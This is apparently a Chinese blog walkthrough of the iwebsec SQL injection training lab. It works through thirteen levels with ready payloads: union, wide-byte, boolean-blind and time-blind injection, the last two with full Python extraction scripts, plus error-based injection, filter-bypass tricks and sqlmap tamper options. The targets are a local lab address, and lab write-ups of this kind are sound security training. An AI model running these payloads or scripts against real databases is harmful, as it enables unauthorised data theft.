iwebsec_SQL
2024-11-29 12:44:21 # iwebsec

01-数字型注入

?id=2 order by 3

?id=2 union select 1,2,3--+

发现1,2,3位置均有回显且无过滤,正常进行注入即可

02-字符型注入

先判断闭合,无论是但还是双都是正常执行查询语句,无法执行注入语句,首先考虑单双引号是否被转义,即转为 /‘ 的形式,对于转义可以采用宽字节注入,原理为 / 的编码为%5c,可以在前面使用 %df 将 %5c “吃掉”,%df%5c 会被编码为

?id=1%df' union select 1,2,3--+

经过转义后变成?id=1%df/' union select 1,2,3--+

再经过编码解释变为?id=1運' union select 1,2,3--+ 即可进行正常注入

?id=1%df' union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 0x73716c69--+无论输入``还是’’都会被转义,所以直接使用十六进制就行

03-布尔注入

?id=1 order by 3--+

?id=1 and 1=1--+?id=1 and 1=0--+ 确定没有闭合

直接动手写代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://http://192.168.2.36/sqli/03.php?id="

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
res = ""
i = 0
while True:
i = i + 1
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
param = f"1 and (ascii(substr(({payload}),{i},1))>{mid})#"
r = requests.get(url+param)
if 'welcome to iwebsec!!!' in r.text:
end = mid
else:
start = mid + 1
if start != 32:
res = res + chr(start)
else:
break
print(res)

当然,我们可以使用SQLmap进行注入:

python sqlmap.py -u ... --dbs --dump

04-sleep注入

?id=1 and if(1=1,sleep(5),2)--+

直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://192.168.2.36/sqli/04.php?id="

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
res = ""
i = 0
while True:
i = i + 1
start = 32
end = 127
while start < end:
mid = (start + end) >> 1
params = {
'id': f"1 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)"
}
try:
r = requests.get(url, params=params, timeout=0.5)
end = mid
except Exception as e:
start = mid + 1
if start != 32:
res = res + chr(start)
else:
break
print(res)

SQLmap:

python sqlmap.py -u ... --dbs --dump

05-updatexml报错注入

?id=1 and 1= updatexml(1,concat(0x7e,(select database())),3)--+

database()改为:

group_concat(table_name)from information_schema.tables where table_schema=database()

SQLmap处理这种简单的注入都是用同样的命令就行

06-宽字节注入

原理和第二题是一样的

?id=1%df'union select 1,2,3--+

剩下的为所欲为了,注意需要引号的地方使用十六进制即可

07-空格过滤绕过

当出现空格时就会回显ERROR,所以不能出现空格,注释不能再是--+,因为--+ = --空格,需要使用#

空格可以使用*%0a %0b %0c*去替代,还有很多,自行搜集

?id=0%0aunion%0aselect%0a1,2,3#

为什么这里需要用id=0呢,因为使用id=1的时候只回显了id=1的用户信息而没有回显我们的联合查询信息,猜测是源码使用了limit导致只回显一行,所以使用id = 0没结果,就会返回联合查询的内容了

SQLmap:

--tamper=space2randomblank

08-大小写过滤绕过

?id=1 union select 1,2,3--+报错

?id=1 Union sElect 1,2,3--+成功

SQLmap:直接就行

09-双写关键字绕过

?id=0 ununionion seselectlect 1,2,3--+

result09

可以看到union没被过滤

?id=0 union seselectlect 1,2,3--+

接着为所欲为去吧

SQLmap中自己写一个脚本把select替换就行

10-双重URL编码绕过

?id=0 union select 1,2,3--+回显ERROR

union select进行二次url编码再放回上面payload即可

二次url编码脚本(by 我自己,写得烂)

1
2
3
4
5
6
7
8
9
10
11
12
def encode_to_hex(input_str):
encoded_chars = []
for char in input_str:
# 想用什么开头就把%改掉就行
encoded_chars.append("%" + char.encode('utf-8').hex())
return ''.join(encoded_chars)


input_str = "union select"
encoded_str = encode_to_hex(encode_to_hex(input_str))
print(encoded_str)

11-十六进制绕过

?id=1 union select 1,2,3--+

group_concat(column_name) from information_schema.columns where table_name = 'user'--+

result11

这个十六进制编码就好

12-等价函数替换过滤

?id=1 union select 1,2,3--+

group_concat(table_name) from information_schema.tables where table_schema = database()报错

排查,最后发现是=被过滤,使用like替代

group_concat(table_name) from information_schema.tables where table_schema like 'iwebsec'

SQLmap:

--tamper=equaltolike

13-二次注入

直接看大佬的分析吧

iwebsec靶场 SQL注入漏洞通关笔记13-二次注入_iwebsec二次注入-CSDN博客

2024-11-29 12:44:21 # iwebsec
Next